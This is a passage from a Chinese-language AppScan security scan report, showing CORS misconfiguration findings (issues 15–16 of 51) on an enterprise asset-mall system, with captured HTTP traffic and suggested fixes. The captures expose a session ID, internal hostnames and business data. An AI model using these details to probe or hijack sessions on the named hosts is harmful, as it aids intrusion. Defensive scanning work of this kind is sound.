                                              "startIndex": 0,
                                              "pageSize": 15,
                                              "totalCount": 0,
                                              "results": [
                                              "showPageNumbers": [
                                              "pages": [
                                              "pageNo": 1,
                                              "pageCount": 0,
                                              "params": null,
                                              "totalPageCount": 0,
                                              "nextIndex": 15,
                                              "page": 1,
                                              "previousIndex": 0
  "returnCode": 1,
  "msg": null,
"html": null
```

变体- | 10 / 10

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/goodsList?
draw=10&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                 "startIndex": 0,
                 "pageSize": 15,
                 "totalCount": 192,
                 "results": [
                                  "opcode": "WERDHGF",
                                  "goodsname": "werdhgf",
                                  "goodstype": "
                                                      实物商品",
                                  "departmentid": null,
                                  "goodsunit": "gechi",
                                 "brandid": 4412,
                                  "factoryid": null,
                                  "prodarea": null,
                                  "inputmanid": 2,
                                  "bookindate": 1515668156000,
                                  "bookindateStr": null,
                                  "status": 1,
                                  "priceflag": null,
                                  "stupperlimit": null,
                                  "stlowerlimit": null,
                                  "barcode": "rewgrewg",
                                  "classcodeflag": null,
                                  "smallscaleflag": null,
                                  "goodsclassid": 2702,
                                  "lastupdateerid": null,
                                  "lastupdateername": null,
                                  "lastupdatedate": null,
                                  "specmodel": null,
                                  "goodsspec": "hh",
                                  "goodsmodel": "resadsa",
                                  "classname": "
                                                       办公耗材",
                                  "goodsid": 105190,
                                  "enterpriseid": 55,
                                  "enterprisecode": "55",
                                  "goodscode": "0200202",
                                  "taxinprice": null,
                                  "intax": null,
                                  "baseprice": 999.0000,
                                  "wsaleprice": 999.0000,
                                  "wdis": null,
                                  "o2osaleprice": 999.0000,
                                  "tmallsaleprice": null,
```

```
"saleprice": 999.0000,
"minprice": 999.0000,
"outtax": null,
"memo1": null,
"memo2": null,
"memo3": null,
"memo4": null,
"sendstatus": null,
"warehouseid": null,
"supplierid": null,
"pricetypeid": null,
"pricetypename": null,
"goodstatus": null,
"goodsclassname": null,
"brandname": "dsfdsafsa",
"wsalepricestarttime": null,
"wsalepriceendtime": null,
"goodssubname": null,
"goodsproperty": null,
"weight": null,
"bulk": null,
"releasechannel": null,
"goodsimgurl": null,
"basegoodsimgurl": null,
"dtlgoodsimgurl": null,
"iscontorlseq": 0,
"expirationdate": null,
"origin": null,
"storagetemperature": null,
"goodsclassnameek": null,
"appgoodsname": null,
"sellingpointdescription": null,
"distributiontype": 0,
"distributionpreparationtime": 2,
"distributionprocessingtime": 0,
"adjustflag": 0,
"approvaltypeid": 1,
"goodslevelid": 3,
"qsbmid": 3,
"level": 4,
"gsbmname": " 资产部",
                           出库流程",
"approvaltypename": "
"actdefid": null,
"classcode": null,
"inputmanname": "
                         资源商城测试01",
"factoryname": null,
"notaxprice": null,
"phonecomments": null,
"pccomments": null,
"sonoffdate": null,
"employeename": null
"opcode": "CD",
"goodsname": "
                     场地",
"goodstype": "
                     实物商品",
"departmentid": null,
                      小时",
"goodsunit": "
"brandid": 4345,
"factoryid": null,
"prodarea": null,
"inputmanid": 1,
"bookindate": 1515661552000,
"bookindateStr": null,
"status": 1,
"priceflag": null,
"stupperlimit": null,
"stlowerlimit": null,
"barcode": "",
"classcodeflag": null,
"smallscaleflag": null,
"goodsclassid": 2704,
"lastupdateerid": null,
"lastupdateername": null,
"lastupdatedate": null,
"specmodel": null,
"goodsspec": "",
"goodsmodel": "",
```

```
"classname": "场地租用",
"goodsid": 105186,
"enterpriseid": 55,
"enterprisecode": "55",
"goodscode": "0375346",
"taxinprice": null,
"intax": null,
"baseprice": 100.0000,
"wsaleprice": 100.0000,
"wdis": null,
"o2osaleprice": 100.0000,
"tmallsaleprice": null,
"saleprice": 100.0000,
"minprice": 100.0000,
"outtax": null,
"memo1": null,
"memo2": null,
"memo3": null,
"memo4": null,
"sendstatus": null,
"warehouseid": null,
"supplierid": null,
"pricetypeid": null,
"pricetypename": null,
"goodstatus": null,
"goodsclassname": null,
"brandname": "
                      象翌",
"wsalepricestarttime": null,
"wsalepriceendtime": null,
"goodss
```

问题 15 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html
实体:	saleOrderList.html (Page)
	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/orderpage/saleOrderList.html?sessionId=6cecd9abca2a5797bbb71b3bef6db3f8 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
```

```
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Content-Length: 18852
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
x-ua-compatible: IE=edge,chrome=1
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:51 GMT
<html>
<head>
   <meta charset="utf-8">
    <title>layui</title>
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="css/layui.css" media="all">
</head>
<body>
 <div class="layui-container" style="text-align:left; padding:0px; margin-top:10px;margin-</pre>
left:10px;">
                <div class="layui-row" style="width:950px;height:50px;">
                         <form class="layui-form">
                <div class="layui-col-md3 layui-col-div">
                         <div class="layui-form-item">
                             <label class="layui-form-label">
                                                                     申请单号</label>
                             <div class="layui-input-block">
                               <input type="text" id="orderNo" placeholder="</pre>
                                                                                   请输入"
autocomplete="off" class="layui-input">
                             </div>
                           </div>
                </div>
                <div class="layui-col-md3 layui-col-div">
                         <div class="layui-form-item">
                              <label class="layui-form-label">
                                                                     资产名称</label>
                             <div class="layui-input-block">
    <input type="text" id="goodsname" placeholder="</pre>
                                                                                       请输入"
autocomplete="off" class="layui-input">
                              </div>
                           </div>
                </div>
                        <div class="layui-col-md3 layui-col-div">
                        <div class="layui-form-item">
                              <label class="layui-form-label">
                                                                     申请单状态</label>
                                   <div class="layui-input-block">
                                                 <select name="orderStatus" id="orderStatus" lay-</pre>
filter="aihao" style="width:100px;">
                                                  <option value="0">
                                                                            全部</option>
                                                                            待配发</option>
                                                  <option value="2">
                                                  <option value="3">
                                                                            已配发</option>
                                                  <option value="4">
                                                                            已完成</option>
                                                                            审批中</option>
                                                  <option value="5">
                                                                            审批未通过</option>
                                                  <option value="6">
                                                  <option value="7">
                                                                            领用取消</option>
                                                </select>
                             </div>
                           </div>
                        </div>
                        </form>
                        <div class="layui-col-md1 layui-col-button" style="margin-left:20px">
                        <button class="layui-btn layui-btn-sm" id="orderListQuery">查询</button>
                         <div class="layui-col-md1 layui-col-button">
                         <button class="layui-btn layui-btn-sm" id="updateSendGoods">配发</button>
                        </div>
                </div>
        </div>
```

```
<div class="layui-form layui-border-box layui-table-view" lay-filter="LAY-table-1"</pre>
style="magin-top:0px">
  <div class="layui-table-box">
   <!-- <div class="layui-table-header">
   </div> -->
   <div class="layui-table-body layui-table-main">
   <div class="layui-none">
      <div>
      <table cellspacing="0" cellpadding="0" border="0" class="layui-table"
pagination="true">
   <thead>
   申请单状态
   申请单号
   申请人
   配发人
   申请时间
   资产编码
   资产名称
   资产大类
   资产小类
   品牌名称
   规格
   <td class="layui-table-cell laytabl
. . .
. . .
```

问题 16 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	<u>at</u>
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/initTreeNode
实体:	initTreeNode (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/initTreeNode?status=1&t=1515668102247 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
```

```
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
         "[{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\"
                                                                                   设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备
\",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1},
{\"classId\":2694,\"isParent\":false,\"statusVal\":1,\"name\":\"耗材类
\",\"pId\":\"1\",\"id\":\"02\",\"endflag\":1},
{\"classId\":2701,\"isParent\":false,\"statusVal\":1,\"name\":\"文具用品
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1},
{\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
\",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
", "pId": "03\", "id\": "03001\", \"endflag\":1},
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
\",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1}
{\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
\",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1},
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1},
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城
\",\"pId\":\"0\",\"id\":\"1\",\"endflag\":1},
{\"classId\":2699,\"isParent\":false,\"statusVal\":1,\"name\":\"电子产品及通信设备
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1}
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pId\":\"01\",\"id\":\"01002\",\"endflag\":1},
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":
\"01007\",\"endflag\":1},{\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"日用百货
\",\"pId\":\"02\",\"id\":\"02003\",\"endflag\":1},
{\"classId\":2718,\"isParent\":false,\"statusVal\":1,\"name\":\"专用设备
\",\"pId\":\"01\",\"id\":\"01005\",\"endflag\":1},
{\"classId\":2719,\"isParent\":false,\"statusVal\":1,\"name\":\"交通运输设备
\",\"pId\":\"01\",\"id\":\"01006\",\"endflag\":1}]"
 "returnCode": 1,
                资产分类树节点",
 "msg": "
 "html": null
```

变体-|2/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/initTreeNode?id=0&t=1515668162451&status=1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
         "[{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\"
                                                                                   设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备
\",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1},
{\"classId\":2694,\"isParent\":false,\"statusVal\":1,\"name\":\"耗材类
\",\"pId\":\"1\",\"id\":\"02\",\"endflag\":1},
{\"classId\":2701,\"isParent\":false,\"statusVal\":1,\"name\":\"文具用品
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1},
{\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
\",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
\",\"pId\":\"03\",\"id\":\"03001\",\"endflag\":1},
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
\",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1},
{\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
\",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1},
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1}
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城
\",\"pId\":\"0\",\"id\":\"1\",\"endflag\":1},
{\"classId\":2699,\"isParent\":false,\"statusVal\":1,\"name\":\"电子产品及通信设备
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pId\":\"01\",\"id\":\"01002\",\"endflag\":1},
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":
\"01007\",\"endflag\":1},{\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"日用百货\",\"pId\":\"02003\",\"endflag\":1},
{\"classId\":2718,\"isParent\":false,\"statusVal\":1,\"name\":\"专用设备
", "pId": "01\", "id\": "01005\", "endflag\":1},
{\"classId\":2719,\"isParent\":false,\"statusVal\":1,\"name\":\"交通运输设备
\",\"pId\":\"01\",\"id\":\"01006\",\"endflag\":1}]"
 "returnCode": 1,
                资产分类树节点",
 "msq": "
 "html": null
```

变体-|3/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/initTreeNode?t=1515668283675 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:54 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
         "[{\"classId\":2710,\"isParent\":false,\"statusVal\":0,\"name\":\"
                                                                                    亦乐测试分类
\",\"pId\":\"03\",\"id\":\"03004\",\"endflag\":1},
{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\"设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备
\",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1}
{\"classId\":2694,\"isParent\":false,\"statusVal\":1,\"name\":\"耗材类
\",\"pId\":\"1\",\"id\":\"02\",\"endflag\":1},
{\"classId\":2701,\"isParent\":false,\"statusVal\":1,\"name\":\"文具用品
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1}
{\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
\",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
\",\"pId\":\"03\",\"id\":\"03001\",\"endflag\":1},
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
\",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1},
{\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
\",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1},
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1},
{\"classId\":2708,\"isParent\":false,\"statusVal\":0,\"name\":\"保洁服务
\",\"pId\":\"04\",\"id\":\"04002\",\"endflag\":1},
{\"classId\":2709,\"isParent\":false,\"statusVal\":0,\"name\":\"绿植服务
\",\"pId\":\"04\",\"id\":\"04003\",\"endflag\":1},
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城
\",\"pId\":\"0\",\"id\":\"1\",\"endflag\":1},
{\"classId\":2699,\"isParent\":false,\"statusVal\":1,\"name\":\"电子产品及通信设备
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1},
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pId\":\"01\",\"id\":\"01002\",\"endflag\":1},
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":
\"01007\",\"endflag\":1},{\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"日用百货
\",\"pId\":\"02\",\"id\":\"02003\",\"endflag\":1},
{\"classId\":2697,\"isParent\":false,\"statusVal\":0,\"name\":\"电气设备
\",\"pId\":\"01\",\"id\":\"01001\",\"endflag\":1},
{\"classId\":2718,\"isParent\":false,\"statusVal\":1,\"name\":\"专用设备
\",\"pId\":\"01\",\"id\":\"01005\",\"endflag\":1},
{\"classId\":2719,\"isParent\":false,\"statusVal\":1,\"name\":\"交通运输设备
\",\"pId\":\"01\",\"id\":\"01006\",\"endflag\":1}]"
 "returnCode": 1,
                资产分类树节点",
 "msa": "
 "html": null
```

变体-|4/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsclass/initTreeNode?status=1&t=1515668311098 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
         "[{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\"
                                                                                    设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备
\",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1},
{\"classId\":2694,\"isParent\":false,\"statusVal\":1,\"name\":\"耗材类
\",\"pId\":\"1\",\"id\":\"02\",\"endflag\":1},
{\"classId\":2701,\"isParent\":false,\"statusVal\":1,\"name\":\"文具用品
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1}
{\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
\",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
\",\"pId\":\"03\",\"id\":\"03001\",\"endflag\":1},
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
\",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1},
{\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
\",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1}
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1}
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城\",\"pId\":\"0\",\"id\":\"1\",\"endflag\":1},
{\"classId\":2699,\"isParent\":false,\"statusVal\":1,\"name\":\"电子产品及通信设备
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pid\":\"01\",\"id\":\"01002\",\"endflag\":1),
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":
\"01007\",\"endflag\":1},{\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"日用百货
\",\"pId\":\"02\",\"id\":\"02003\",\"endflag\":1},
{\"classId\":2718,\"isParent\":false,\"statusVal\":1,\"name\":\"专用设备
\",\"pId\":\"01\",\"id\":\"01005\",\"endflag\":1},
{\"classId\":2719,\"isParent\":false,\"statusVal\":1,\"name\":\"交通运输设备
\",\"pId\":\"01\",\"id\":\"01006\",\"endflag\":1}]"
 "returnCode": 1,
               资产分类树节点",
 "msg": "
 "html": null
```

变体-|5/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsclass/initTreeNode?t=1515669084055 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:54 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
         "[{\"classId\":2710,\"isParent\":false,\"statusVal\":0,\"name\":\"
                                                                                  亦乐测试分类
\",\"pId\":\"03\",\"id\":\"03004\",\"endflag\":1},
{\"classId\":2693,\"isParent\":false,\"statusVal\":1,\"name\":\"设备类
\",\"pId\":\"1\",\"id\":\"01\",\"endflag\":1},
{\"classId\":2700,\"isParent\":false,\"statusVal\":1,\"name\":\"办公设备
\",\"pId\":\"01\",\"id\":\"01004\",\"endflag\":1},
{\"classId\":2694,\"isParent\":false,\"statusVal\":1,\"name\":\"耗材类
\",\"pId\":\"1\",\"id\":\"02\",\"endflag\":1},
{\"classId\":2701,\"isParent\":false,\"statusVal\":1,\"name\":\"文具用品
\",\"pId\":\"02\",\"id\":\"02001\",\"endflag\":1}
{\"classId\":2695,\"isParent\":false,\"statusVal\":1,\"name\":\"场地类
\",\"pId\":\"1\",\"id\":\"03\",\"endflag\":1},
{\"classId\":2704,\"isParent\":false,\"statusVal\":1,\"name\":\"场地租用
\",\"pId\":\"03\",\"id\":\"03001\",\"endflag\":1},
{\"classId\":2705,\"isParent\":false,\"statusVal\":1,\"name\":\"工位租用
\",\"pId\":\"03\",\"id\":\"03002\",\"endflag\":1}
{\"classId\":2706,\"isParent\":false,\"statusVal\":1,\"name\":\"会场租用
\",\"pId\":\"03\",\"id\":\"03003\",\"endflag\":1}
{\"classId\":2696,\"isParent\":false,\"statusVal\":1,\"name\":\"服务类
\",\"pId\":\"1\",\"id\":\"04\",\"endflag\":1},
{\"classId\":2707,\"isParent\":false,\"statusVal\":1,\"name\":\"行政服务
\",\"pId\":\"04\",\"id\":\"04001\",\"endflag\":1},
{\"classId\":2708,\"isParent\":false,\"statusVal\":0,\"name\":\"保洁服务
\",\"pId\":\"04\",\"id\":\"04002\",\"endflag\":1},
{\"classId\":2709,\"isParent\":false,\"statusVal\":0,\"name\":\"绿植服务
\",\"pId\":\"04\",\"id\":\"04003\",\"endflag\":1}
{\"classId\":2692,\"isParent\":false,\"statusVal\":1,\"name\":\"资源商城
\",\"pId\":\"0\",\"id\":\"1\",\"endflag\":1},
{\"classId\":2699,\"isParent\":false,\"statusVal\":1,\"name\":\"电子产品及通信设备
\",\"pId\":\"01\",\"id\":\"01003\",\"endflag\":1},
{\"classId\":2702,\"isParent\":false,\"statusVal\":1,\"name\":\"办公耗材
\",\"pId\":\"02\",\"id\":\"02002\",\"endflag\":1},
{\"classId\":2698,\"isParent\":false,\"statusVal\":1,\"name\":\"家具用具及其他
\",\"pId\":\"01\",\"id\":\"01002\",\"endflag\":1},
{\"classId\":2723,\"isParent\":false,\"statusVal\":1,\"name\":\"20180104\",\"pId\":\"01\",\"id\":
\"01007\",\"endflag\":1},{\"classId\":2703,\"isParent\":false,\"statusVal\":1,\"name\":\"日用百货
```

变体-|6/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsclass/initTreeNode?status=1&t=1515669103222 HTTP/1.1
